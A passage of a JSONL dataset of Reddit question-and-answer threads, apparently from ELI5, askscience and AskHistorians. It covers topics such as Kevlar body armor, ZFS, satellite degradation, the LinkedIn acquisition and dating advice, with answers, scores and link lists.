distance.\n\nIn the case of the hard and heavy, this is what you typically see on vehicles because, well, it's heavy. The thickness of the material is usually porportionate to it's effectiveness. The projectile will impact the side of the armor and shatter/deform because the hardness and mass of the armor is higher than that of the projectile. Obviously there is a sliding scale here, as the heavier a projectile and the faster it moves, the harder it is to slow it. This is why tank rounds are designed the way they are: very high velocity, dense (hence depleted uranium) and a small cross section (discarding sabot). The intent is to overwhelm the armor by concentrating a significant amount of energy in a small area.\n\nKevlar, on the other hand, takes a different approach. Instead of trying to resist and stop the moving projectile at the surface, Kevlar will \"give\" and flex under the impact. But because Kevlar has such a high tensile strength, it doesn't break as it gives. It effectively acts as a kind of 'catcher's mitt' to slow the bullet to a stop. This is why even if your armor stops a bullet, it hurts like a fucker because your body is still being hit very hard, it's just dissipating that energy over a larger area.\n\nAs you can imagine, however, the threshold for the effectiveness of Kevlar is much lower than that of steel or composite armor, which is why kevlar vests are usually only rated for certain kinds of handgun rounds, and only resist rifle bullet impacts with the addition of ceramic inserts and below a certain caliber/velocity.", " & #x200B;\n\nKevlar\u00ae is most-generally used in body armour, so it may be assumed that the question is intended to be \"Why is Kevlar\u00ae preferable to steel as an element of body armour against bullets?\"\n\n & #x200B;\n\nThe answers to that are dependent on many factors.  \n\n & #x200B;\n\nIf the focus is on wearability, including weight and flexibility, then Kevlar\u00ae enjoys many advantages.\n\n & #x200B;\n\nIf the focus is on protection, including strength, density, and mass, then steel enjoys many advantages.\n\n & #x200B;", "It's not the fall that kills you, it's the landing. When two objects collide, there is an energy exchange that takes place and the more you can slow that down and spread out the force over a larger area, the less damage it will cause. \n\nIn the case of a bullet, it's a projectile colliding with a person and imparting it's energy in a very short period of time, to a very small area (the size of the bullet itself). So if you can spread that force out over a larger area, and slow the bullet down, you can prevent it from penetrating and killing a person. \n\nSteel is very strong, but it is rigid and hard. When shot it absorbs the impact at the site of the shot and either shatters if it's hard steel, or deforms if it's ductile. Either way the energy is concentrated at a small point, and the steel gets a hole drilled into it. \n\nKevlar is not hard, but it has a high tensile strength, which is a measurement of the amount of force it can handle stretching or pulling on it. It doesn't shatter, it bends and stretches. The kevlar fibers are woven in overlapping layers and in different directions so that they reinforce each other and no matter what direction a bullet comes from, it will be stretching as many fibers as possible at impact. \n\nWhen the bullet hits, the fibers begin to deform and stretch and as they do so, they spread the force of the bullet out over a large area. when you grab a blanket in the center of the bed and lift up, the entire blanket gets pulled inwards, so the force of your lifting, is resisted by, and spread out over the entire bedsheet. A similar thing happens with the kevlar. \n\nWhat makes a knife more deadly than a punch? They have the exact same amount of force behind them. But the punch is spread out over the size of your hand, and a knife concentrates all of that force into the very tip of the blade. Kevlar vests turn dense, high velocity kinetic energy into diffuse, lower velocity kinetic energy. It turns a knife tip into a fist. The persons body still absorbs the energy, but it absorbs it more like a punch, than a puncture. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "lqqha", "title": "In the future when computers become as capable as a humans brain could it be considered an individual?", "selftext": "A living thing doesn't necessarily mean you have to be listed under biological taxonomy does it? You just need a complex enough system, that's all biology is in the first place, a complex system.\n\nMoreover I'm sort of lost, I mean(and I know this might seem inconsistent) life is roughly defined because their is no universal line to things being alive and dead, it's a human denotation of observation. Really all we are, are just complex systems caused by coincidence of atoms and molecules finding the least path of resistance to build complex structures. Their is no purpose to life, it just is, is any of this correct?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/lqqha/in_the_future_when_computers_become_as_capable_as/", "answers": {"a_id": ["c2uub58", "c2uuf7l", "c2uub58", "c2uuf7l"], "score": [4, 3, 4, 3], "text": ["I'm allowing this post, even though it's probably more a philosophical/semantic question than a science question. Why? Simply because I love thinking about it.\n", "Life is certainly just a category that we use to group certain kinds of objects.  There is no feature of any object that would make it alive or inanimate - only features that fit the definitions that we have devised for those categories.\n\nWhether or not there is a purpose to life is wholly a philosophical question which I don't think should or needs to be discussed here.\n\nCould a computer become \"alive\"?  Absolutely.  What if we had a computer that could do a perfect simulation of the human brain?  We could feed that simulation input and take its output.  There is no reason to think that a perfect model of the human brain would be any different than an actual human brain.\n\nWe probably don't even need to go that far though to create an AI.  If we could create a program that could pass the [Turing test](_URL_0_) then what argument could call that program not-alive and you or I living things?  The only difference at that point would be semantic and not functional.", "I'm allowing this post, even though it's probably more a philosophical/semantic question than a science question. Why? Simply because I love thinking about it.\n", "Life is certainly just a category that we use to group certain kinds of objects.  There is no feature of any object that would make it alive or inanimate - only features that fit the definitions that we have devised for those categories.\n\nWhether or not there is a purpose to life is wholly a philosophical question which I don't think should or needs to be discussed here.\n\nCould a computer become \"alive\"?  Absolutely.  What if we had a computer that could do a perfect simulation of the human brain?  We could feed that simulation input and take its output.  There is no reason to think that a perfect model of the human brain would be any different than an actual human brain.\n\nWe probably don't even need to go that far though to create an AI.  If we could create a program that could pass the [Turing test](_URL_0_) then what argument could call that program not-alive and you or I living things?  The only difference at that point would be semantic and not functional."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Turing_test"], [], ["http://en.wikipedia.org/wiki/Turing_test"]]}
{"q_id": "30ih8h", "title": "accounting major", "selftext": "Looking to go to College soon and trying to decide on what major I should try and get. Can someone break this major down and just brief outlines of what i'm learning? Some possible career options along with this would be great as well.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30ih8h/eli5accounting_major/", "answers": {"a_id": ["cpsqebr"], "score": [2], "text": ["In accounting you will learn:\n\n* how to record transactions using the double entry bookkeeping system\n* how to prepare financial statements (income statement, balance sheet, cash flow statement)\n* standard guidelines such as GAAP (Generally Accepted Accounting Principles) and IFRS (International Financial Reporting Standards)\n* how to audit businesses to ensure they comply with the above mentioned guidelines\n* personal taxation\n* corporate taxation\n\nThat's most though not all of it.\n\nThe typical career path for an accounting major is to work for a major public accounting firm (the big 4 are: Ernst  &  Young, PricewaterhouseCoopers, Deloitte & Touche, and KPMG). Usually you will be doing either auditing or tax accounting. From there you can either stay with public accounting firm and eventually become a partner or you can switch over to private accounting and become a controller or even a CFO of a company. Or you can start your own accounting practice. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2w8a11", "title": "ISIS seems to cite Muhammad's war waging as a guide on how to fight wars. How truly brutal were these early conquests lead by Muhammad?", "selftext": "In essence, were they as full of beheadings, slavery, and crucifixion as ISIS makes it seem? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2w8a11/isis_seems_to_cite_muhammads_war_waging_as_a/", "answers": {"a_id": ["cooi5gj"], "score": [7], "text": ["I started writing an answer to this, but then it got ridiculously long, so here's the gist of it: in the Badar War, the prisoners of war are dealt with in the following manner:\n\n1. a few, like Utbah bin Muth'im and Nadhir bin Harits, are seen as irredeemable enemies of Islam, and were beheaded\n2. those who would convert to Islam were released\n3. those who refuse to convert must pay a ransom (about 4000 dinars, if I'm not mistaken)\n4. those who refuse to convert and can't pay the ransom are enslaved and must teach the Muslims in Medina to read and write for several years\n\nIn the Khandar War (in which Medina is encircled by the Meccans), one of the Jewish tribes in Medina, the Bani Quraizah, were killed (males of military age) or enslaved (females and children). Detractors say this is proof of Islamic savagery; proponents say that they (Bani Quraizah) conspired with the Meccans to weaken the defensive line of the Muslims. I will not make value judgement on either."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2zbziq", "title": "how does the file system zfs differ from what we traditionally use (like fat or ntfs)? why is it lauded as being really good?", "selftext": "I've read plenty of times that ZFS \"address nearly every modern problem we have with storage\" and is the \"way forward\". As file systems are a bit too techy for me I haven't managed to satisfy my curiousity on this. Can you people give me a simple to understand answer please.\n\nAlso, if you could refrain from analogies i'd be really gratefull - but use them if you must of course.\n\nThanks :)\n\nEdit : Lot's of really cool stuff down there. I highly recommend everyone to read it if you're the least bit interested.\nThanks for the answers everyone, I think I've got what I wanted now :)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2zbziq/eli5how_does_the_file_system_zfs_differ_from_what/", "answers": {"a_id": ["cphkb9h", "cpho8bs", "cphrrks", "cpi2nnj"], "score": [111, 2, 10, 2], "text": ["This is my first go at an ELI5 answer, so be kind ;). I'm trying to keep this ELI5, and I'll try to skip anything too in depth.\n\nWe're coming from a time where we as users carve a disk up and allocation file systems to those slices (partitions). The filesystems didn't know, or care what was under them, as long as it was there.\n\nZFS and others (Bttr comes to mind) change that, while they will work with slices they prefer to be given the disk as a whole and then they manage where data is placed on the disk, inline with your requests and requirements.\n\nWith \"legacy\" file systems if you want resilience, then you need to set up some kind of mirroring or striping with parity (RAID 1/5), or make sure you copy data regularly between two drives. While software raid exists, many people prefer expensive hardware RAID which may have battery backup for when things go wrong, power is lost.\n\nOne of the features of ZFS is that it can safely provide this functionality on it's own without the need for battery backup, it uses a method called copy on write, which means it never overwrites any data until its sure it's not needed or the file system is in a consistent state. \n\nThough note, power loss can still cause your file to be corrupt (as in a block missing which was still in memory), but the file system will be in a sane state.\n\nZFS also has various features like checksumming built in, ZFS can tell if a file has changed on disk without its knowledge (happens as disks fail, solar flares, etc.). It can raise these errors to the user, rather then you using a faulty file unaware. If ZFS is set up with resilience, it'll automatically try and correct the error if it can.\n\nZFS also uses large enough numbers that practically there's no limit on the size of disks it can cope with, or the size that files can grow to. Something which plagued older file systems, though probably not an issue with most modern file systems anyway.\n\nZFS has a negative side for a lot of Open Source advocates, it's patent encumbered and it's license isn't compatible with the GPL license, so getting it to run on Linux can be a pain (though things have improved). On some operating systems like FreeBSD it's treated like a first class citizen and works out of the box. YMMV.\n\nIt's a brave new world with ZFS, but there are some definite benefits. I personally use ZFS for storing 9Tb of media, with it's built in resilience and regular scrubs to check disk consistency I have great faith in it. With hardware raid, it kind of feels like it's a time bomb, I have no idea if a disk is beginning to fail, that's often hidden behind the raid controller.\n\nHTH.", "One of the really cool things about ZFS is that it can detect file corruptions and in some cases fix it.  Like RAID and its family members, you cannot do any kind of raw disk copying.  This is a reason why it isn't good for boot volumes.", "Traditional file systems treat information like paragraphs in a book.  You can change any words you want within a paragraph and then when you want to keep writing you need a (blank) paragraph to keep writing in.   So as you write a story, a librarian just allocates a new paragraph area for you... somewhere.  So your story can be in bits and pieces all over the book.\n\nIn ZFS, you  just keep writing(mistakes, corrections and all) and every now and then, a librarian comes by and takes the last 30 seconds of your work, replays it, and writes it to a paragraph somewhere.  With this librarian, you don't need to stop working. The librarian has more power to do background stuff, like keeping your paragraphs together on the same page, getting more paper if needed, etc.  Since the librarian in ZFS has more options, such as copying your paragraphs to new pages to keep them together, the system as a whole works better.\n\nAlso in ZFS, if you want to add more books (Hard drives) you can just tell the librarian and poof, more space.  In traditional filesystems, they don't have the concept of books, only paragraphs and chapters.\n\nIn ZFS you can ask the librarian to make 2 copies of your work.  The librarian will say \"OK\" and make an additional copy.\n\nIn this analogy, you can get faster librarians (ZIL tweaks), more books(Hard Drives),  Librarians can be waiting with your favourite books (Read cache) and so on.", "I'll give the copy on write part and the transactional part a shot. \n\nIn the old days with FAT, UFS, etc., filesystems had data, which are the blocks that contain the contents of the files, and meta-data, which are the blocks that describe where the directories are and where all the data blocks for each file are. Since it takes a long time to update a disk block, the system would maintain a cache of disk blocks in memory because memory is much faster to read and write. So, when you want to write a block on the disk, you would instead write the block in the cache and then much later the system would find all the blocks in the cache and write them to disk. \n\nThe problem is that as the system writes the blocks to disk, at any given point in time it might be that only part of all the blocks have  been written. This means that some of the meta-data blocks have been written and some of the data-blocks have been written, which means that the disk itself is in what is known as an \"inconsistent state\" with new meta-data blocks pointing to data blocks that have not been written, and data blocks that don't have meta-data blocks that point to them.\n\nIf the system were to crash at this point, then all of the unwritten block will be lost and there will be meta-blocks that point to nothing. If you tried to read data from files with these meta-data blocks, you would get garbage. So, they used to have a special program that had to run when the system was booted that had to go through the whole file system and check for things like that and try to fix them, which could take a very long time and was not always perfect, resulting in lost files and data.\n\nBy always copying data blocks instead of over-writing them, it is possible to create a list of blocks in memory and order them so that as they are written out the last block of the series replaces a single meta-data block which causes all of the previously written data to \"take effect\" all at once. This is called being \"transactional\", since all of the writes take effect as one big transaction. Before that one block is written the file being changed looks exactly like it did before all of the changes were made, and after it is written the file looks it should after all of them were written.\n\nAs a result of this property, the data and meta-data on the disk are never inconsistent. Which means that we no longer have to go through the disk to find inconsistencies when the system is booted. Given that this might take hours on a one terabyte disk, this is a huge win. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3i96of", "title": "why is the titles of some songs, like \"(don't fear) the reaper\", written with the first words in parentheses?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3i96of/eli5_why_is_the_titles_of_some_songs_like_dont/", "answers": {"a_id": ["cuedwk2", "cueep7c", "cuefdxf", "cueta3t"], "score": [14, 180, 29, 5], "text": ["It means the part outside the parentheses is the *real* title, but lots of people assume the extra words are part of the title so they are shown too, in parentheses.", "It will vary by song, but this one's a fair example. Blue Oyster Cult wanted to name the song \"The Reaper\", however the song never references the reaper outside of the phrase \"don't fear the reaper\", which would make it more difficult to identify the song by title. If I say one person \"Do you know that song 'The Reaper'?\" and to another \"Do you know that song 'Don't Fear The Reaper'?\", the latter person is much more likely to recognize the song I'm talking about.\n\nHaving a recognizable title is important to selling records -- you want people to be able to find your popular song. For example: many people have no idea what \"Baba O'Riley\" is, but if you call the song \"Teenage Wasteland\" -- the most prominent phrase in the song -- people say \"Oh, yeah, I know that song!\"\n\nSo to compromise the two, they named the song \"The Reaper\", but included the parenthetical \"(Don't Fear)\" in order to make the song easier to identify.", "I was a songwriter back in the 90s. I wrote a song on our album that I titled \"And\" since I emphasized that word several times in the song. However, the chorus was simply the phrase \"It's Hard\" repeated over and over. I wanted to keep my original title but I felt like the song was going to be better identified by the repeated phrase in the chorus. So...\n\nWhen it came time to register the song with BMI, I went with \"And (It's Hard)\" and that's how it ended up being titled when the album was released.", "Sometimes songs will at a later date have parenthesis added because many people refer to the song based on a lyric instead of the song title that isn't mentioned in the song at all.\n\nFor example, Simple Plan's song \"Untitled\" is now listed as \"Untitled (How Could This Happen To Me?)\" because some people apparently couldn't remember the name of the song (because they're idiots)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "7qlo0g", "title": "why does a smaller diameter air duct produce more drag?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7qlo0g/eli5_why_does_a_smaller_diameter_air_duct_produce/", "answers": {"a_id": ["dsq24as", "dsq2we3", "dsq3p9w", "dsq5hpc", "dsqff6g"], "score": [10, 2, 4, 3, 2], "text": ["More of the air is rubbing against the duct's lining, which isn't moving forward at all. That's drag. Less of the air is just happily surrounded by other moving air.", "Speed only increases in a narrow tube if you're taking flow from a larger tube and narrowing it down. The fluid (in this case, air) has to flow faster through the narrow tube to keep the same flow rate. The narrow tube receives more kinetic energy due to the force of the pressure of the larger section behind it, causing the fluid to accelerate\n\nTwo separate tubes, of different diameters, do not have this distinction.\n\nYou can observe this in real life.\n\nIf you pour a small stream of water down a huge opening, it'll accelerate at the typical gravitational pull gravity, because it's not going to be hitting the sides of the opening.\n\nIf you then pour that same small stream of water down a narrow tube like a straw, the water is going to be hitting the inside of that straw and slow down.", "The air that is touching the wall of the duct has to deal with a stationary surface.  This air winds up barely moving.\n\nThe air that is touching that layer of air has to deal with a near-stationary surface.  This air can move a bit faster, but still barely moves.\n\nThen the air that's touching *that* layer of air has to deal with barely moving air.  It moves a bit faster, but still slow.\n\nRepeat until you make it to the center of the duct, where the air moves the fastest.  The bigger your duct is the more layers you have, each incrementally less restricted than the one before because each one is touching something moving a bit faster.\n\nOf course, there aren't discrete layers--air is a continuum--but the principle applies.  We could consider thinner and thinner layers until we arrive at a solution that's continuous, but that's calculus which isn't in the standard 5-year-old curriculum yet. ", "As simply as I can put it. Air moving along a surface creates drag. With a smaller pipe you have more air proportionally next to a surface than in a larger pipe. Even though you would have less total air next to a surface. It's the difference between the circumference and the area of a circle.", "Fluid in contact with the walls of the pipe is prevented from moving due to friction. This is known as the *no-slip condition*. So the fluid cannot move as one solid mass with constant velocity everywhere - instead, the fluid molecules must slide past each other, which creates a resistive force known as viscosity.\n\nFor laminar flow in a pipe, the fluid velocity develops a parabolic profile - the fastest flow is in the centre, and the velocity drops to zero as you approach the walls. If you make the pipe narrower, the velocity gradient is now much steeper - the same difference in velocity now takes place over a much shorter distance - which means there is more viscous stress and thus more drag.\n\nIn reality, the flow in a pipe containing air is more likely to be turbulent than laminar. Turbulent flow does not have a simple velocity profile - it is complex and chaotic. This turbulence dissipates energy and thus creates additional drag."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "9agylm", "title": "Do satellites, like the Hubble Telescope, get dirty?", "selftext": "I just saw a question asking about the remaining lifespan of the Hubble Space Telescope, and I was wondering if there is anything in space that causes satellites to get dirty, or rust, or otherwise deteriorate.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9agylm/do_satellites_like_the_hubble_telescope_get_dirty/", "answers": {"a_id": ["e4vg9d6", "e4vhhxi", "e4vpsqx", "e4vqz4b"], "score": [3231, 165, 94, 22], "text": ["Yes.\n\nThe space environment is pretty nasty. Atomic Oxygen, UV Radiation, Meteoroids/Orbital Debris all cause pretty severe surface degradation.\n\nHere's a video explaining the effects of atomic oxygen _URL_1_\n\nHere's a video explaining the effects of radiation on spacecraft _URL_4_\n\nAnd here's a video explaining the effects of charged particles _URL_2_\n\nAnd here's a comprehensive NASA guide on the environmental effects of space _URL_0_\n\nEdit: and here's a good picture of the Russian Service Module on the ISS, that has been exposed to space for a long time. Look closely and you can see how dirty the once white surfaces are now. _URL_3_", "There is definitely a non-zero amount of accumulation that affects the lifespan of spacecraft. The three main factors are orbital altitude, orientation (attitude), and proximity to other spacecraft. \n\nAltitude is simple enough, the closer you are to earth, the more particles there are in your orbit. This can slowly accumulate on the spacecraft and also plays a role in slowing it down, which is why the ISS needs to re-boost and helps naturally reduce the clutter of old satellites by de-orbiting them back into the Earth. \n\nThe attitude is important because most of the contamination will be on the ram surface, which is the one facing into the velocity vector. For something like Hubble or other optical satellites, this means that you might see a reduced lifespan on the instrument's clarity over time if it faces ramwards due to buildup. \n\nLastly and maybe most important is the proximity to other spacecraft, especially vehicles with thrusters. This is usually a temporary time frame where some particles from the ascent vehicle can contaminate the satellite, but any time spent next to another body (even without thrusters active) can expose it to off-gassed particles that are liberated due to being in an extreme temperature/pressure environment as well as atomic oxygen stripping atoms away. Off-gassing still occurs even if a thermal/vacuum bake-out occurs on the ground, but it can be heavily reduced that way. For any spacecraft mounted on the ISS, this type of contamination is actually a huge concern, since new vehicles visit frequently and there are projects from many sources grouped together that may be off-gassing onto each other. \n\nLastly, there is also micro-meteorite object debris, but there's no way to predict or avoid that besides minimizing the size of your spacecraft. I have seen pictures of a satellite with a white surface that had some black spots on it from MMOD. ", "The answer is.... sort of. However dust in space tends to be traveling freakishly fast, such that it turns into a plasma on impact. This creates microscopic pits in the outside of the craft. This is like an extreme form of sandblasting. Fortunately space is pretty empty and this damage occurs slowly. This fact makes the design of things like solar panels challenging, for example.  It will also create a hazard to sensitive optics like mirrors or lenses. Optics need to be protected, as much as reasonably possible.\n\nThe James Webb Space Telescope is a notable exception to this. The reason for the lack of shielding around it's primary mirror is due to it's sheer size and the need to fold and unfold it to fit inside the aerodynamic shroud of the launch vehicle. Shielding materials were considered too much of a weight penalty and could potentially cause mechanical jams during the unfolding process. \n\nInstead, digital image processing will be used to remove the effects of damage to the mirror, which can be tracked and accounted for. \n\n A second hazard, at least in low earth orbit, is that most of the ambient gas is reactive atomic oxygen. This can slowly degrade and erode carbon-based materials like plastics or paint over time.\n\nThis is less of a problem in higher orbits.\n\nThe third problem is high energy charged particles both from the sun and from deep space.  Events like solar flares can bombard spacecraft with a storm of energized electrons. This could potentially cause a complete failure of electronic circuits, at least temporarily. Devices used in space need to be designed to be \"hardened\" against radiation. \n\nThe most troublesome form of radiation is high energy Cosmic Rays. These consist of atomic nuclei with extreme kinetic energy and thus high penetrating power. Generally cosmic rays are bare protons or helium nuclei, however larger nuclei are also encountered. These are like atomic bullets and cause permanent microscopic damage to the structure of anything they pass through.  Integrated circuits are most vulnerable to this radiation which is difficult to shield. Over time this can degrade IC chips to the point where they lose function. There is no simple solution to this problem. ", "Possibly, I think they are more concerned with micrometeoroid and orbital debris. Even paint chips that shook off a satellite during launch if they are in a different orbit can hit at relative velocities of kilometers per second. Of course they track thousands of large pieces of debris but they cant keep track of small fragments. Lots of satellites are released from their hold downs under the nose cone using things like explosive bolts. They try to contain the debris from that but...\n\nThere was a satellite called LDEF ,long duration exposure facility, that aimed to measure and quantify these effects. And there are people whose job it is it measure the statistical probability that debris will cause a catastrophic failure.\n\n\u200b\n\nDust may be an issue but an orbiting screwdriver is probably a bigger worry.  \n\n\nIts kind of like that garbage pathc in the pacific, it's a problem but no one knows really how to clean it up. Most orbital debris is stainless, aluminum, or carbon fiber none of which are magnetic. A vacuuum cleaner doesn't really work in a vacuum. Solve that problem and NASA will bow  down to you and call you Musky.\n\n & #x200B;\n\n\u200b\n\n\u200b"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.nasa.gov/sites/default/files/files/NP-2015-03-015-JSC_Space_Environment-ISS-Mini-Book-2015-508.pdf", "https://youtu.be/bjyv7bK9X74", "https://youtu.be/GITtlkx2-Tw", "http://iss.jaxa.jp/spacerad/images/img_dos01_e.jpg", "https://youtu.be/lL5JnfWA6CY"], [], [], []]}
{"q_id": "vpob8", "title": "Exactly what type of signals does SETI look for?", "selftext": "Suppose there is no obvious attempt to signal, but the civilization is still leaking information into space.\n\n_URL_0_\n\nIs such a twisted signal identifiable by current technology?  In other words, does it sound like random garbage to the untrained ear?\n \nHow does one identify a signal from a source that doesn't intend it for communication with you?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/vpob8/exactly_what_type_of_signals_does_seti_look_for/", "answers": {"a_id": ["c56jt5m", "c56nqj8"], "score": [7, 3], "text": ["We are pretty good at distinguishing random noise from non-random noise.  We may not be able to decode an alien signal but we should be able to distinguish it from the background mess precisely because such a signal would have a structure that made it stand out from the random fuzz of background noise.\n\nThat said the task is actually a big one.  There is *lots* of noise out there and processing it all to find non-random bits takes a lot of effort.\n", "if you take enough samples, you can identify frequencies and patterns that are statistically unlikely to be just random noise"]}, "title_urls": [], "selftext_urls": ["http://gizmodo.com/wi_fi/"], "answers_urls": [[], []]}
{"q_id": "4nvmgp", "title": "how is linkedin worth $26 billion dollars, when it only has around $550 million in revenue per year?", "selftext": "In 2014:\n\n- 61% of revenue, $345 million from recruitment services\n- 19% of revenue, $109 million from Marketing\n- 20% of revenue, $114 million from premium subscriptions\n\nHelp me understand why Microsoft think this is a good deal, for $26 billion dollars :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4nvmgp/eli5_how_is_linkedin_worth_26_billion_dollars/", "answers": {"a_id": ["d479mzc", "d479uwv", "d47cck3"], "score": [4, 10, 4], "text": ["My guess would be the potential of LinkenIn is valued that high. That, and their data on their customers is probably worth quite a bit.  But I'm no expert, so, ya know, take it with a grain of salt. ", "People that frequent LinkedIn are often the types that make business decisions. If you look at the people with the most \"connections\" on the site, they're usually fairly senior individuals with titles like Director or Manager or Vice President, and they quite often have a budget for making decisions associated with buying information technology. \n\nSo they are a perfect target market all lined up for a firm that sells software and cloud-based delivery services to advertise to. And since Microsoft now owns the site, they can populate it with their ads and reinforce their brand on it... and perhaps more importantly, prevent advertisers with competing products from advertising there as long as they don't get slapped for monopoly behaviour. \n\nLinkedIn might not be worth much in terms of REVENUE, but it's worth an amazing amount in terms of concentrating business decision-makers. And access to them is what Microsoft paid for.", "While the other points are valid and probably the main reason:\n\n* In acquisitions of this size, no one expects a profit in only a few years but rather in decades.\n\n* Before MS had 26B, now MS has a company that is currently valued at 26B. That means so far, they have lost or gained nothing. The question is, do they expect LinkedIn's value to increase by more than by what whatever else they could have done with that money would increase in value? Apparently yes. This does not mean they are planning to sell LinkedIn, just that they think their own overall value will increase this way."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4lzxq4", "title": "what makes the hairs rise on my arms?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4lzxq4/eli5_what_makes_the_hairs_rise_on_my_arms/", "answers": {"a_id": ["d3rg8xo", "d3rges0", "d3rgqt9", "d3rh179"], "score": [4, 2, 3, 5], "text": ["It's a sort of evolutionary throwback.\n\nAnimals of many different kinds have ways of making themselves look bigger and more ferocious to discourage attackers.\n\nOne way of doing this is to make all your hair more prominant, thus making yourself look bigger.\n\nYou see this in dogs and cats when they are threatened, but also (and importantly to answer your question) Primates\n\nSo it's an evolutionary defence mechanism that is inherited from our primate ancestors.", "It is also the same involuntary response that birds have. Their feathers can fluff out to keep them warm. Little pockets of air are trapped between skin and feathers to insulate them. Same vestigial response with us. ", "Its your brain doing an action you cant control when it senses a difference in temperature between you and the environment. It sends a signal to your hair erector muscles in your skin to make your hair stand to trap heat in you body. This is sorta useless because of the lack of hair a human has, this was more useful for our ancestors who had quite a bit of hair which could help keep them warm during winter.\n\nAnother use for your hair to stand is to make yourself look bigger to scare off predators which is again quite useless due to the lack of hair we have and the lack of predators we face on a day to day basis.", "The actual muscle that causes this is the [arrector pili muscles](_URL_0_).  Each muscle is connected to several hair follicles, and when they contract you get *goose bumps*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.m.wikipedia.org/wiki/Arrector_pili_muscle"]]}
{"q_id": "1t3ta9", "title": "why do nice guys finish last?", "selftext": "I'm aware that I sound like a whiny bitch even asking this, but I've reached my breaking point.  I honestly don't understand why women want to be with assholes, convicts (or registered sex offenders, that's happened twice to me now) and every other sort of creep instead of the guy who will spend the rest of his life doing everything in his power to make her happy.  Its not just me, I have friends who are the nice guys and they get nowhere.\n\nIs it psychology?  It is just that nice guys are whiny bitches who ask advice from total strangers on the internet?  Do I need to get arrested?  Or maybe just start calling every woman I meet an idiot and hope she finds that attractive?  \n\nSeriously, I have no idea why this happens.   ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t3ta9/eli5_why_do_nice_guys_finish_last/", "answers": {"a_id": ["ce40vtl", "ce414yu", "ce417n9", "ce419n0", "ce41fef"], "score": [5, 2, 3, 3, 3], "text": ["Dating is about confidence and communication.\n\nThey have evidently communicated their interests better then you have.", "There are multiple factors involved.\n\n1.)Single woman strongly prefer men in relationships\n(_URL_1_)\n\n2.)Women are far more susceptible to social pressures when choosing a mate then men. \n_URL_0_\n\n3.)Men are horrible at reading female social que when it comes to mating, while Women are able to determine Men's social ques AND other woman's in relation to other men..\n\n_URL_2_\n\nThis makes it so men that are already dating other woman, popular, and willing to actively engage in relationship ignoring social ques that other men would would perceive as lack of interest are given a dating advantage over men that are unattached, introverted, and generally interested in trying to determine if a person is interested in them.\n\n\n  ", "Self-described \"nice guys\" finish last because they think that being \"nice\" is all that's necessary to form a romantic relationship with a woman.\n\nRelationships aren't like some kind of video game.  You don't earn \"relationship points\" by being nice to a woman and once you reach a certain threshold, you instantly become her boyfriend.  And yet, over and over, I see \"nice guys\" who keep thinking this is true.  And when it turns out that they're *wrong*, they get pissed off and blame the woman.\n\nMake your intentions clear from the get-go.  And stop it with the \"women only date assholes\" shit.  It's not true.", "The problem is that your idea of being a \"nice guy\" means that you're a doormat with no desire to pursue your desires.", "Imagine a basketball game.  Team Whiny Bitches throws up virtually no defense because they're too nice, and when they find a hand in their face on offence, they back away and hand the ball off.  They suck at basketball.\n\nTeam Assholes are trash talking, throwing elbows, tripping, and taking cheap shots.  They're committing fouls like crazy, and getting away with about half of them.  They win, but mostly because Team Whiny Bitch sucks so hard.\n\nDon't join these teams.  Most basketball teams aren't like that.  They're confident and assertive, but not violent.  They're goal oriented.  They have swagger and drive.  They commit fouls (you're allowed up to 5 after all) but they're not intentional.  That's playing the game well.\n\nThat's about as far as I'm willing to take this analogy.  Basically you have to accept a few losses in a season, but still commit to showing up and bringing your A game next time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.eurekalert.org/pub_releases/2010-06/iu-sio060710.php", "http://www.sciencedirect.com/science/article/pii/S0022103109001048", "http://www.ncbi.nlm.nih.gov/pmc/articles/PMC2890253/"], [], [], []]}
{"q_id": "4szin6", "title": "the scottish highlands vs the lowlands (historically, and more so culturally than geographically)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4szin6/eli5_the_scottish_highlands_vs_the_lowlands/", "answers": {"a_id": ["d5djx3w"], "score": [5], "text": ["The lowlands are generally more developed, cosmopolitan, and genteel than the highlands which has stayed very rugged and rural and remote. That remoteness is why the clan system stayed stronger in the highlands for longer much like family connections in say Appalachia vs coastal cities in the USA. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
